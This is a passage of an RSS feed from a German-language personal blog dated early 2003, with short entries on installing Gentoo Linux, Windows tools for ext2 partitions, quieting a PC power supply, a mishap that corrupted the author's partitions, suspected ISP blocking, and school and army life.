  15691.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  15692.    <description><![CDATA[<span style="font-family: monospace; font-size: 1em;">checking for something to drink while compiling... err: no fridge found</span><br><br>Ist mir gerade beim installieren von <a href="http://tilp.info/index.php"><b>TiLP</b></a> aufgefallen :-)
  15693. ]]></description>
  15694.    <content:encoded><![CDATA[<span style="font-family: monospace; font-size: 1em;">checking for something to drink while compiling... err: no fridge found</span><br><br>Ist mir gerade beim installieren von <a href="http://tilp.info/index.php"><b>TiLP</b></a> aufgefallen :-)
  15695. ]]></content:encoded>
  15696.  </item>
  15697.  
  15698.  <item>
  15699.    <title>Tada</title>
  15700.    <link>https://blog.x-way.org/Linux/2003/03/12/Tada.html</link>
  15701.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=285</guid>
  15702.    <dc:creator>Andreas Jaggi</dc:creator>
  15703.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15704.    <pubDate>Wed, 12 Mar 2003 15:09:00 +0100</pubDate>
  15705.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  15706.    <description><![CDATA[Nachdem ich letztens meine Platte zerlöchert habe, hab ich nun alles Partitionen darauf platt gemacht und  Gentoo ganz neu installiert.<br><br><a href="https://blog.x-way.org/images/12032003151515.png"><b>Screenshot</b></a>
  15707. ]]></description>
  15708.    <content:encoded><![CDATA[Nachdem ich letztens meine Platte zerlöchert habe, hab ich nun alles Partitionen darauf platt gemacht und  Gentoo ganz neu installiert.<br><br><a href="https://blog.x-way.org/images/12032003151515.png"><b>Screenshot</b></a>
  15709. ]]></content:encoded>
  15710.  </item>
  15711.  
  15712.  <item>
  15713.    <title>Heisenbergsche Raum-Zeit-Unschärfe</title>
  15714.    <link>https://blog.x-way.org/School/2003/03/12/Heisenbergsche_Raum-Zeit-Unschaerfe.html</link>
  15715.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=284</guid>
  15716.    <dc:creator>Andreas Jaggi</dc:creator>
  15717.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15718.    <pubDate>Wed, 12 Mar 2003 14:07:00 +0100</pubDate>
  15719.    <category domain="https://blog.x-way.org/School/">School</category>
  15720.    <description><![CDATA[Dies und weiteres solches Zeugs heben wir gerade im Physik durchgenommen. Und im übertragenen Sinn könnte ich es auch gerade auf mein momentanes Leben anwenden.<br>Letzte Woche hatte ich die ganze Zeit Proben und diese Woche kommt es so, dass andauernd Lektionen ausfallen und ich pro Tag manchmal nur gerade 2 Lektionen in die Schule gehe und mich dann wieder nach Hause begeben kann. Bei einem einstündigen Schulweg, ist also die für die Schule aufgewendete Tara-Zeit grösser als die Netto-Zeit!
  15721. ]]></description>
  15722.    <content:encoded><![CDATA[Dies und weiteres solches Zeugs heben wir gerade im Physik durchgenommen. Und im übertragenen Sinn könnte ich es auch gerade auf mein momentanes Leben anwenden.<br>Letzte Woche hatte ich die ganze Zeit Proben und diese Woche kommt es so, dass andauernd Lektionen ausfallen und ich pro Tag manchmal nur gerade 2 Lektionen in die Schule gehe und mich dann wieder nach Hause begeben kann. Bei einem einstündigen Schulweg, ist also die für die Schule aufgewendete Tara-Zeit grösser als die Netto-Zeit!
  15723. ]]></content:encoded>
  15724.  </item>
  15725.  
  15726.  <item>
  15727.    <title>Schule und so</title>
  15728.    <link>https://blog.x-way.org/Misc/2003/03/06/Schule_und_so.html</link>
  15729.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=283</guid>
  15730.    <dc:creator>Andreas Jaggi</dc:creator>
  15731.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15732.    <pubDate>Thu, 06 Mar 2003 01:06:00 +0100</pubDate>
  15733.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  15734.    <description><![CDATA[Ich bin wieder einmal einen 'Vortrag' am vorbereiten, diesmal in Geschichte, dass ich ja bekanntlich auf französisch durchexerziere ;-)<br><br>Und wie alle sicher schon wissen, bin ich wieder einmal besonders früh besonders weit. Sprich: ich habe jetzt erst einen Drittel gemacht und muss um 5 Uhr schon wieder aufstehen...<br><br>So, nun ist genug Selbstmitleid geflossen, jetzt sollte ich wieder weitermachen.<br><br><a href="https://web.archive.org/web/20030320221657/http://metku.net/"><b>Hier</b></a> hats viele lustige Mods. Vielleicht sollte ich noch erwähnen, dass ich erstmals an meinem Computer herumgelötet hab, genauer am Netzteil. Ich hab nämlich die Lüfter rausgelötet und zwei superleise 12db-1500rpm-Papst-Lüfter reingelötet. Und, das Überraschendste: es läuft noch und zwar angenehm leise *g*
  15735. ]]></description>
  15736.    <content:encoded><![CDATA[Ich bin wieder einmal einen 'Vortrag' am vorbereiten, diesmal in Geschichte, dass ich ja bekanntlich auf französisch durchexerziere ;-)<br><br>Und wie alle sicher schon wissen, bin ich wieder einmal besonders früh besonders weit. Sprich: ich habe jetzt erst einen Drittel gemacht und muss um 5 Uhr schon wieder aufstehen...<br><br>So, nun ist genug Selbstmitleid geflossen, jetzt sollte ich wieder weitermachen.<br><br><a href="https://web.archive.org/web/20030320221657/http://metku.net/"><b>Hier</b></a> hats viele lustige Mods. Vielleicht sollte ich noch erwähnen, dass ich erstmals an meinem Computer herumgelötet hab, genauer am Netzteil. Ich hab nämlich die Lüfter rausgelötet und zwei superleise 12db-1500rpm-Papst-Lüfter reingelötet. Und, das Überraschendste: es läuft noch und zwar angenehm leise *g*
  15737. ]]></content:encoded>
  15738.  </item>
  15739.  
  15740.  <item>
  15741.    <title>Nachtrag zu Linux - Windows</title>
  15742.    <link>https://blog.x-way.org/Linux/2003/03/01/Nachtrag_zu_Linux_-_Windows.html</link>
  15743.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=282</guid>
  15744.    <dc:creator>Andreas Jaggi</dc:creator>
  15745.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15746.    <pubDate>Sat, 01 Mar 2003 20:21:00 +0100</pubDate>
  15747.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  15748.    <description><![CDATA[Nach kurzem Testen muss ich ein Lob für <a href="https://web.archive.org/web/20030706214033/http://www.tuningsoft.com/projects/projects.htm#ext2fsd">Ext2Fsd (Ext2 File System Driver)<b></b></a> schreiben. Damit und mit dem dabei mitgebrachten mount-Utility kann man eine Ext2/3-Partition ganz einfach mit einem beliebigen Laufwerksbuchstaben quasi in den 'Arbeitsplatz' mounten ;-)<br>Natürlich funktioniert das auch mit Win-Partitionen.<br><br>Desweiteren werde ich gleich <a href="http://www.acc.umu.se/~bosse/"><b>SwapFs</b></a> ausprobieren, das eine Linux-Swap-Partition unter Windows dem Auslagerungsspeicher zur Verfügung stellen soll.<br><br>Und vielleicht kann jemand <a href="https://web.archive.org/web/20030416140513/http://uranus.it.swin.edu.au/~jn/linux/bootlinux.htm"><b>dieses Tutorial (Booting Linux from the NT boot loader)</b></a> gebrauchen, ich habe mich für GRUB entschieden :-)
  15749. ]]></description>
  15750.    <content:encoded><![CDATA[Nach kurzem Testen muss ich ein Lob für <a href="https://web.archive.org/web/20030706214033/http://www.tuningsoft.com/projects/projects.htm#ext2fsd">Ext2Fsd (Ext2 File System Driver)<b></b></a> schreiben. Damit und mit dem dabei mitgebrachten mount-Utility kann man eine Ext2/3-Partition ganz einfach mit einem beliebigen Laufwerksbuchstaben quasi in den 'Arbeitsplatz' mounten ;-)<br>Natürlich funktioniert das auch mit Win-Partitionen.<br><br>Desweiteren werde ich gleich <a href="http://www.acc.umu.se/~bosse/"><b>SwapFs</b></a> ausprobieren, das eine Linux-Swap-Partition unter Windows dem Auslagerungsspeicher zur Verfügung stellen soll.<br><br>Und vielleicht kann jemand <a href="https://web.archive.org/web/20030416140513/http://uranus.it.swin.edu.au/~jn/linux/bootlinux.htm"><b>dieses Tutorial (Booting Linux from the NT boot loader)</b></a> gebrauchen, ich habe mich für GRUB entschieden :-)
  15751. ]]></content:encoded>
  15752.  </item>
  15753.  
  15754.  <item>
  15755.    <title>Nochetwas Linux-Windows</title>
  15756.    <link>https://blog.x-way.org/Linux/2003/03/01/Nochetwas_Linux-Windows.html</link>
  15757.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=281</guid>
  15758.    <dc:creator>Andreas Jaggi</dc:creator>
  15759.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15760.    <pubDate>Sat, 01 Mar 2003 19:52:00 +0100</pubDate>
  15761.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  15762.    <description><![CDATA[<a href="https://web.archive.org/web/20030221235043/http://uranus.it.swin.edu.au/~jn/linux/explore2fs.htm"><b>Explore2fds</b></a> ist ein Windows-Explorer ähnlicher Dateimanager für ext2/3 Partitionen für Windows oder so ;-)<br><br>Sehr nützlich!
  15763. ]]></description>
  15764.    <content:encoded><![CDATA[<a href="https://web.archive.org/web/20030221235043/http://uranus.it.swin.edu.au/~jn/linux/explore2fs.htm"><b>Explore2fds</b></a> ist ein Windows-Explorer ähnlicher Dateimanager für ext2/3 Partitionen für Windows oder so ;-)<br><br>Sehr nützlich!
  15765. ]]></content:encoded>
  15766.  </item>
  15767.  
  15768.  <item>
  15769.    <title>Linux - Windows</title>
  15770.    <link>https://blog.x-way.org/Linux/2003/03/01/Linux_-_Windows.html</link>
  15771.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=280</guid>
  15772.    <dc:creator>Andreas Jaggi</dc:creator>
  15773.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15774.    <pubDate>Sat, 01 Mar 2003 19:47:00 +0100</pubDate>
  15775.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  15776.    <description><![CDATA[Da ich ja momentan nur mit einer alten Windowsinstallation arbeiten kann, habe ich mich wieder einmal ein bisschen umgeschaut, was für Tools es gibt, damit sich Windows und Linux näher kommen.<br>Auf <a href="https://web.archive.org/web/20030402054819/http://linuxshop.ru/linuxbegin/win-lin-soft-en/"><b>dieser Liste</b></a> habe ich einige gefunden:<br><br>- <a href="http://www.partimage.org/"><b>Partition Image für Linux</b></a><br>- <a href="http://e2fsprogs.sourceforge.net/"><b>Ext2fsprogs</b></a> wovon es auch für Windows eine <a href="https://web.archive.org/web/20030706214033/http://www.tuningsoft.com/projects/projects.htm#ext2fsd"><b>Treiber gibt</b></a> siehe auch <a href="http://sourceforge.net/projects/ext2fsd"><b>hier</b></a><br>- <a href="http://linux-ntfs.sourceforge.net/"><b>Linux-NTFS Project</b></a><br>- <a href="https://web.archive.org/web/20030408062023/http://www.public.iastate.edu/~chadspen/xsmbrowser.html"><b>'Netzwerkumgebung' für Windows</b></a>
  15777. ]]></description>
  15778.    <content:encoded><![CDATA[Da ich ja momentan nur mit einer alten Windowsinstallation arbeiten kann, habe ich mich wieder einmal ein bisschen umgeschaut, was für Tools es gibt, damit sich Windows und Linux näher kommen.<br>Auf <a href="https://web.archive.org/web/20030402054819/http://linuxshop.ru/linuxbegin/win-lin-soft-en/"><b>dieser Liste</b></a> habe ich einige gefunden:<br><br>- <a href="http://www.partimage.org/"><b>Partition Image für Linux</b></a><br>- <a href="http://e2fsprogs.sourceforge.net/"><b>Ext2fsprogs</b></a> wovon es auch für Windows eine <a href="https://web.archive.org/web/20030706214033/http://www.tuningsoft.com/projects/projects.htm#ext2fsd"><b>Treiber gibt</b></a> siehe auch <a href="http://sourceforge.net/projects/ext2fsd"><b>hier</b></a><br>- <a href="http://linux-ntfs.sourceforge.net/"><b>Linux-NTFS Project</b></a><br>- <a href="https://web.archive.org/web/20030408062023/http://www.public.iastate.edu/~chadspen/xsmbrowser.html"><b>'Netzwerkumgebung' für Windows</b></a>
  15779. ]]></content:encoded>
  15780.  </item>
  15781.  
  15782.  <item>
  15783.    <title>Gentoo Linux 1.4_rc3 Released</title>
  15784.    <link>https://blog.x-way.org/Linux/2003/02/27/Gentoo_Linux_14_rc3_Released.html</link>
  15785.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=279</guid>
  15786.    <dc:creator>Andreas Jaggi</dc:creator>
  15787.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15788.    <pubDate>Thu, 27 Feb 2003 16:26:00 +0100</pubDate>
  15789.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  15790.    <description><![CDATA[<a href="http://www.gentoo.org"><b>Gentoo</b></a> 1.4_rc3 ist <a href="https://web.archive.org/web/20030401193008/http://distro.ibiblio.org/pub/linux/distributions/gentoo/releases/1.4_rc3/"><b>da</b></a>!
  15791. ]]></description>
  15792.    <content:encoded><![CDATA[<a href="http://www.gentoo.org"><b>Gentoo</b></a> 1.4_rc3 ist <a href="https://web.archive.org/web/20030401193008/http://distro.ibiblio.org/pub/linux/distributions/gentoo/releases/1.4_rc3/"><b>da</b></a>!
  15793. ]]></content:encoded>
  15794.  </item>
  15795.  
  15796.  <item>
  15797.    <title>Ich hab mir wieder einmal Mühe gegeben</title>
  15798.    <link>https://blog.x-way.org/Tech/2003/02/26/Ich_hab_mir_wieder_einmal_Muehe_gegeben.html</link>
  15799.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=278</guid>
  15800.    <dc:creator>Andreas Jaggi</dc:creator>
  15801.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15802.    <pubDate>Wed, 26 Feb 2003 15:24:00 +0100</pubDate>
  15803.    <category domain="https://blog.x-way.org/Tech/">Tech</category>
  15804.    <description><![CDATA[Wenn bei einer Option für einen Befehl '(DANGEROUS)' steht, sollte auch der liebenswerte und neugierige Herr Jaggi ein bisschen Vernunft erhaschen und zuerst denken, dann handeln, denn sonst kommt es so, dass er die Festplatte auf UDMA-5 stellt, was nicht funktionieren kann, und dann seine ganze $HOME-Partition (und auch noch ein paar andere) zerlöchert!<br><br>Natürlich liegt das letzte Backup (Ja, ich bin ein FEigling ;-) schon über 2 Wochen zurück und  nützt auch nicht wirklich viel!
  15805. ]]></description>
  15806.    <content:encoded><![CDATA[Wenn bei einer Option für einen Befehl '(DANGEROUS)' steht, sollte auch der liebenswerte und neugierige Herr Jaggi ein bisschen Vernunft erhaschen und zuerst denken, dann handeln, denn sonst kommt es so, dass er die Festplatte auf UDMA-5 stellt, was nicht funktionieren kann, und dann seine ganze $HOME-Partition (und auch noch ein paar andere) zerlöchert!<br><br>Natürlich liegt das letzte Backup (Ja, ich bin ein FEigling ;-) schon über 2 Wochen zurück und  nützt auch nicht wirklich viel!
  15807. ]]></content:encoded>
  15808.  </item>
  15809.  
  15810.  <item>
  15811.    <title>sec ist zurück</title>
  15812.    <link>https://blog.x-way.org/Misc/2003/02/21/sec_ist_zurueck.html</link>
  15813.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=277</guid>
  15814.    <dc:creator>Andreas Jaggi</dc:creator>
  15815.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15816.    <pubDate>Fri, 21 Feb 2003 15:17:00 +0100</pubDate>
  15817.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  15818.    <description><![CDATA[<a href="https://web.archive.org/web/20030326032400/http://sec.digigeek.net/"><b>da!</b></a>
  15819. ]]></description>
  15820.    <content:encoded><![CDATA[<a href="https://web.archive.org/web/20030326032400/http://sec.digigeek.net/"><b>da!</b></a>
  15821. ]]></content:encoded>
  15822.  </item>
  15823.  
  15824.  <item>
  15825.    <title>noch zu Zensur</title>
  15826.    <link>https://blog.x-way.org/Networking/2003/02/21/noch_zu_Zensur.html</link>
  15827.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=276</guid>
  15828.    <dc:creator>Andreas Jaggi</dc:creator>
  15829.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15830.    <pubDate>Fri, 21 Feb 2003 02:57:00 +0100</pubDate>
  15831.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  15832.    <description><![CDATA[E-Mail Abrufen etc. geht natürlich auch nicht, da die Domain mail.waterwave.ch laut Mozilla gar nicht existiert. und ein 'ping waterwave.ch' ergibt nur 'ping: unknown host waterwave.ch' :-(<br><br>Warum, Warum, WWAAARRUUUMM ???
  15833. ]]></description>
  15834.    <content:encoded><![CDATA[E-Mail Abrufen etc. geht natürlich auch nicht, da die Domain mail.waterwave.ch laut Mozilla gar nicht existiert. und ein 'ping waterwave.ch' ergibt nur 'ping: unknown host waterwave.ch' :-(<br><br>Warum, Warum, WWAAARRUUUMM ???
  15835. ]]></content:encoded>
  15836.  </item>
  15837.  
  15838.  <item>
  15839.    <title>Zensur?</title>
  15840.    <link>https://blog.x-way.org/Networking/2003/02/21/Zensur.html</link>
  15841.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=275</guid>
  15842.    <dc:creator>Andreas Jaggi</dc:creator>
  15843.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15844.    <pubDate>Fri, 21 Feb 2003 02:40:00 +0100</pubDate>
  15845.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  15846.    <description><![CDATA[Ich kann <a href="http://waterwave.ch"><b>waterwave.ch</b></a> und jegliche Domains die darauf umgeleitet werden von zu Hause aus nicht mehr erreichen! Auch andere Domains (<a href="#" class="gone"><b>sunflyer.ch</b></a>, <a href="http://www.ubique.ch"><b>ubique.ch</b></a>) kann ich nicht erreichen, resp. kann mein PC nicht finden!<br><br>Wenn ich jedoch mit einem 'Anonymisierer' (<a href="https://web.archive.org/web/20030220101506/http://nonymouse.com/"><b>nonymouse.com</b></a>) darauf zugreife, funktioniert alles problemlos (z.B. dieses Posting).<br><br>Kann mir bitte jemand (möglichst viele *g*) mitteilen, ob die genannten Domains auch bei anderen Leuten nicht erreichbar sind. Ich vermute nämlich, dass <a href="http://solnet.ch"><b>Solnet</b></a> irgend einem richterlichen Befehl folgt und das Internet nur <b><span style="font-size: larger">zensiert</span></b> ausliefert! Frage mich nur, was die obgenannten Domains so böses angestellt haben, damit sie versteckt werden müssen...
  15847. ]]></description>
  15848.    <content:encoded><![CDATA[Ich kann <a href="http://waterwave.ch"><b>waterwave.ch</b></a> und jegliche Domains die darauf umgeleitet werden von zu Hause aus nicht mehr erreichen! Auch andere Domains (<a href="#" class="gone"><b>sunflyer.ch</b></a>, <a href="http://www.ubique.ch"><b>ubique.ch</b></a>) kann ich nicht erreichen, resp. kann mein PC nicht finden!<br><br>Wenn ich jedoch mit einem 'Anonymisierer' (<a href="https://web.archive.org/web/20030220101506/http://nonymouse.com/"><b>nonymouse.com</b></a>) darauf zugreife, funktioniert alles problemlos (z.B. dieses Posting).<br><br>Kann mir bitte jemand (möglichst viele *g*) mitteilen, ob die genannten Domains auch bei anderen Leuten nicht erreichbar sind. Ich vermute nämlich, dass <a href="http://solnet.ch"><b>Solnet</b></a> irgend einem richterlichen Befehl folgt und das Internet nur <b><span style="font-size: larger">zensiert</span></b> ausliefert! Frage mich nur, was die obgenannten Domains so böses angestellt haben, damit sie versteckt werden müssen...
  15849. ]]></content:encoded>
  15850.  </item>
  15851.  
  15852.  <item>
  15853.    <title>Armee</title>
  15854.    <link>https://blog.x-way.org/Misc/2003/02/20/Armee.html</link>
  15855.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=274</guid>
  15856.    <dc:creator>Andreas Jaggi</dc:creator>
  15857.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15858.    <pubDate>Thu, 20 Feb 2003 11:05:00 +0100</pubDate>
  15859.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  15860.    <description><![CDATA[So siehts aus:<br><a href="https://blog.x-way.org/images/armee.gif"><img src="https://blog.x-way.org/images/armee_s.gif" width="100" height="70" alt="Auszug ausm Dienstbüchlein"></a>
  15861. ]]></description>
  15862.    <content:encoded><![CDATA[So siehts aus:<br><a href="https://blog.x-way.org/images/armee.gif"><img src="https://blog.x-way.org/images/armee_s.gif" width="100" height="70" alt="Auszug ausm Dienstbüchlein"></a>
  15863. ]]></content:encoded>
  15864.  </item>
  15865.  
  15866.  <item>
  15867.    <title>Rekrutierung</title>
  15868.    <link>https://blog.x-way.org/Misc/2003/02/18/Rekrutierung.html</link>
  15869.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=273</guid>
  15870.    <dc:creator>Andreas Jaggi</dc:creator>
  15871.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15872.    <pubDate>Tue, 18 Feb 2003 17:58:00 +0100</pubDate>
  15873.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  15874.    <description><![CDATA[Nun schreibe ich mit einer voll scheisse Steinzeit-Tastatur. Und die Internetzeit läuft gleich ab. Hab gerade 2 Psychotests in Rekordzeit absolviert ;-)
  15875. ]]></description>
  15876.    <content:encoded><![CDATA[Nun schreibe ich mit einer voll scheisse Steinzeit-Tastatur. Und die Internetzeit läuft gleich ab. Hab gerade 2 Psychotests in Rekordzeit absolviert ;-)
  15877. ]]></content:encoded>
  15878.  </item>
  15879.  
  15880.  <item>
  15881.    <title>Netzteil-Tweaking ?</title>
  15882.    <link>https://blog.x-way.org/Tech/2003/02/16/Netzteil-Tweaking_.html</link>
  15883.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=272</guid>
  15884.    <dc:creator>Andreas Jaggi</dc:creator>
  15885.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15886.    <pubDate>Sun, 16 Feb 2003 11:24:00 +0100</pubDate>
  15887.    <category domain="https://blog.x-way.org/Tech/">Tech</category>
  15888.    <description><![CDATA[Nachdem ich letzte Woche infolge angehäufer Proben, kaum Zeit hatte, den Computer einzuschalten, hat er sich gestern gerächt!<br><br>Mein Netzteil het nun irgendein Problem mit dem Temperatursensor. Kaum habe ich den Computer eingeschaltet und Linux gestartet, so beginnt der temperaturgesteuerte Netzteillüfter auf höchster Drehzahl zu laufen, was einen SEHR lauten Lärm verursacht!<br><br>Ich hab mich mal ein bisschen umgeschaut und <a href="https://web.archive.org/web/20030202015231/http://www.teccentral.de/artikel/artikel_144_s1.html"><b>diesen Review</b></a> gefunden, indem auch der Temperatursensor thematisiert wird. In den <a href="https://web.archive.org/web/20030204022726/http://www.teccentral.de/artikel/kommentare.php?op=SK&amp;artikel_id=144"><b>Kommentaren</b></a> wird gesagt, dass man problemlos einen Widerstand einbauen kann, der die Empfindlichkeit des Sensors dämpft.<br><br>Nun brauche ich noch nen Widerstand mit  1.5 Watt / 68 Ohm. Da ich sowieso nächste Woche noch Elektrizitätslehre repetieren muss, wird das wohl ne schöne praxisnahe Übung ;-)<br><br>Und Falls ich nächste Woche hier nichts mehr schreibe, so hab ich entweder falsch rumgebastelt, oder die von der Armee haben mich bei der Aushebung irgendwie malträtiert ;-)
  15889. ]]></description>
  15890.    <content:encoded><![CDATA[Nachdem ich letzte Woche infolge angehäufer Proben, kaum Zeit hatte, den Computer einzuschalten, hat er sich gestern gerächt!<br><br>Mein Netzteil het nun irgendein Problem mit dem Temperatursensor. Kaum habe ich den Computer eingeschaltet und Linux gestartet, so beginnt der temperaturgesteuerte Netzteillüfter auf höchster Drehzahl zu laufen, was einen SEHR lauten Lärm verursacht!<br><br>Ich hab mich mal ein bisschen umgeschaut und <a href="https://web.archive.org/web/20030202015231/http://www.teccentral.de/artikel/artikel_144_s1.html"><b>diesen Review</b></a> gefunden, indem auch der Temperatursensor thematisiert wird. In den <a href="https://web.archive.org/web/20030204022726/http://www.teccentral.de/artikel/kommentare.php?op=SK&amp;artikel_id=144"><b>Kommentaren</b></a> wird gesagt, dass man problemlos einen Widerstand einbauen kann, der die Empfindlichkeit des Sensors dämpft.<br><br>Nun brauche ich noch nen Widerstand mit  1.5 Watt / 68 Ohm. Da ich sowieso nächste Woche noch Elektrizitätslehre repetieren muss, wird das wohl ne schöne praxisnahe Übung ;-)<br><br>Und Falls ich nächste Woche hier nichts mehr schreibe, so hab ich entweder falsch rumgebastelt, oder die von der Armee haben mich bei der Aushebung irgendwie malträtiert ;-)
  15891. ]]></content:encoded>
  15892.  </item>
  15893.  
  15894.  <item>
  15895.    <title>Yeehaw!</title>
  15896.    <link>https://blog.x-way.org/Linux/2003/02/09/Yeehaw.html</link>
  15897.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=271</guid>
  15898.    <dc:creator>Andreas Jaggi</dc:creator>
  15899.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15900.    <pubDate>Sun, 09 Feb 2003 01:36:00 +0100</pubDate>
  15901.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  15902.    <description><![CDATA[<img src="https://blog.x-way.org/images/15+.png" width="240" height="161" alt="Altersbeschränkung von UT2003"><br><br>Dies ist die aufs UT2003 aufgedruckte Altersbeschränkung, aber um die gehts in diesem Eintrag gar nicht, denn um diese Alterbeschränkung hier zeigen zu können, musste ich sie zuerst scannen und darum gehts.<br>Beim rumsurfen bin ich auf <a href="https://web.archive.org/web/20030407235802/http://www.pl-berichte.de/t_hardware/hp-psc.html"><b>dieses Tutorial</b></a> von <a href="http://pro-linux.de/"><b>Pro-Linux.de</b></a> gestossen. Da ich einen HP PSC 950 Drucker, Scanner, Fax, Kopierer, Media-Card-Reader besitze, und ich zuerst annahm, dass der garnicht mit Linux zusammenarbeitet, war ich schon sehr glücklich, als ich den Drucker zum Laufen brachte. Von dem Tutorial angeregt, hab ich mich nocheinmal dahintergesetzt und nach langem und sehr intensivem Basteln (Drucker in CUPS entfernen, CUPS stoppen, HPOJS installieren, PPD File neu generieren, HPOJS Starten, HPOJS Konfigurieren, CUPS Starten, Drucker in CUPS wieder einrichten, schauen ob was erkennt wird, Scanner ja, Drucker nein (??), nocheinmal (und noch viele male mehr) alles von vorne ... ) geschafft, dass ich nun auch unter Linux Scannen kann, den Beweis seht ihr ja. <br>So, mal schauen ob wir den eingebauten Media-Card-Reader auch noch zum Leben erwecken können ...
  15903. ]]></description>
  15904.    <content:encoded><![CDATA[<img src="https://blog.x-way.org/images/15+.png" width="240" height="161" alt="Altersbeschränkung von UT2003"><br><br>Dies ist die aufs UT2003 aufgedruckte Altersbeschränkung, aber um die gehts in diesem Eintrag gar nicht, denn um diese Alterbeschränkung hier zeigen zu können, musste ich sie zuerst scannen und darum gehts.<br>Beim rumsurfen bin ich auf <a href="https://web.archive.org/web/20030407235802/http://www.pl-berichte.de/t_hardware/hp-psc.html"><b>dieses Tutorial</b></a> von <a href="http://pro-linux.de/"><b>Pro-Linux.de</b></a> gestossen. Da ich einen HP PSC 950 Drucker, Scanner, Fax, Kopierer, Media-Card-Reader besitze, und ich zuerst annahm, dass der garnicht mit Linux zusammenarbeitet, war ich schon sehr glücklich, als ich den Drucker zum Laufen brachte. Von dem Tutorial angeregt, hab ich mich nocheinmal dahintergesetzt und nach langem und sehr intensivem Basteln (Drucker in CUPS entfernen, CUPS stoppen, HPOJS installieren, PPD File neu generieren, HPOJS Starten, HPOJS Konfigurieren, CUPS Starten, Drucker in CUPS wieder einrichten, schauen ob was erkennt wird, Scanner ja, Drucker nein (??), nocheinmal (und noch viele male mehr) alles von vorne ... ) geschafft, dass ich nun auch unter Linux Scannen kann, den Beweis seht ihr ja. <br>So, mal schauen ob wir den eingebauten Media-Card-Reader auch noch zum Leben erwecken können ...
  15905. ]]></content:encoded>
  15906.  </item>
  15907.  
  15908.  <item>
  15909.    <title>Das fehlt thinkgeek.com</title>
  15910.    <link>https://blog.x-way.org/Misc/2003/02/08/Das_fehlt_thinkgeekcom.html</link>
  15911.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=270</guid>
  15912.    <dc:creator>Andreas Jaggi</dc:creator>
  15913.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15914.    <pubDate>Sat, 08 Feb 2003 20:19:00 +0100</pubDate>
  15915.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  15916.    <description><![CDATA[<img src="https://blog.x-way.org/images/tshirt_sex.jpg" width="200" height="260" alt="Will fix your Computer for sex"><br><br>Gefunden bei <a href="https://web.archive.org/web/20030602203153/http://unix-girl.com/blog/"><b>Kasia</b></a>.
  15917. ]]></description>
  15918.    <content:encoded><![CDATA[<img src="https://blog.x-way.org/images/tshirt_sex.jpg" width="200" height="260" alt="Will fix your Computer for sex"><br><br>Gefunden bei <a href="https://web.archive.org/web/20030602203153/http://unix-girl.com/blog/"><b>Kasia</b></a>.
  15919. ]]></content:encoded>
  15920.  </item>
  15921.  
  15922.  <item>
  15923.    <title>GSM-Handys schädigen Nervenzellen</title>
  15924.    <link>https://blog.x-way.org/Misc/2003/02/07/GSM-Handys_schaedigen_Nervenzellen.html</link>
  15925.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=269</guid>
  15926.    <dc:creator>Andreas Jaggi</dc:creator>
  15927.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15928.    <pubDate>Fri, 07 Feb 2003 16:45:00 +0100</pubDate>
  15929.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  15930.    <description><![CDATA[Ich habs ja schon immer gesagt. <a href="http://heise.de/newsticker/data/pmz-06.02.03-002/"><b>Selber schauen.</b></a>
  15931. ]]></description>
